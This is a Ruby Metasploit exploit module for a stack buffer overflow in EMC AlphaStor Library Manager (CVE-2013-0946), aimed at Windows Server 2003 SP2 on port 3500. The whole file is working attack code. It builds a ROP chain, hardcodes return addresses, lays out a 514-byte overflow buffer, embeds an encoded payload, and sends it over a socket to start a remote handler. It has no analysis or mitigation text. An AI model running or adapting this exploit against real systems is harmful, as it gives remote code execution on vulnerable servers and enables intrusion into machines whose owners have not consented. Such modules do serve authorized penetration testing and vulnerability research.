require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'EMC AlphaStor Library Manager Opcode 0x4f',
'Description'=> %q{
This module exploits a stack based buffer overflow found in EMC
Alphastor Library Manager version < 4.0 build 910. The overflow
is triggered due to a lack of sanitization of the pointers used
for two strcpy functions.
},
'Author' => [ 'james fitts' ],
'License'=> MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-14-029/' ],
[ 'CVE', '2013-0946' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'wfsdelay' => 1000
},
'Privileged' => true,
'Payload'=>
{
'Space' => 160,
'DisableNops' => 'true',
'BadChars' => "\x00\x09\x0a\x0d",
'StackAdjustment' => -404,
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
'Compat'=>
{
'SymbolLookup' => 'ws2ord',
},
},
'Platform' => 'win',
'Targets'=>
[
[
'Windows Server 2003 SP2 EN',
{
'Ret' => 0x77bdda70,
}
],
],
'DefaultTarget'=> 0,
'DisclosureDate' => 'Feb 13 2014'))
register_options(
[
Opt::RPORT(3500)
], self.class )
end
def exploit
connect
p ="\x90" * 8
p << payload.encoded
rop = [
0x77bb2563,
0x77ba1114,
0x77bbf244,
0xfeedface,
0x77bb0c86,
0x77bc9801,
0x77be2265,
0x77bb2563,
0x03C0990F,
0x77bdd441,
0x77bb48d3,
0x77bf21e0,
0x77bbf102,
0x77bbfc02,
0x77bef001,
0x77bd8c04,
0x77bd8c05,
0x77bb2563,
0x03c0984f,
0x77bdd441,
0x77bb8285,
0x77bb2563,
0x90909090,
0x77be6591,
].pack("V*")
buf = Rex::Text.pattern_create(514)
buf[0, 2] ="O~"
buf[13, 4] = [0x77bdf444].pack('V')
buf[25, 4] = [target.ret].pack('V')
buf[41, 4] = [0x77bdf444].pack('V')
buf[57, 4] = [0x01167e20].pack('V')
buf[69, rop.length] = rop
buf[165, 4] = [0x909073eb].pack('V')
buf[278, 4] = [0x0116fd59].pack('V')
buf[282, p.length] = p
buf[512, 1] = "\x00"
buf << "AAAA"
buf << "BBBB"
buf << "CCCC"
buf << "DDDD"
print_status("Trying target %s..." % target.name)
sock.put(buf)
handler
disconnect
end
end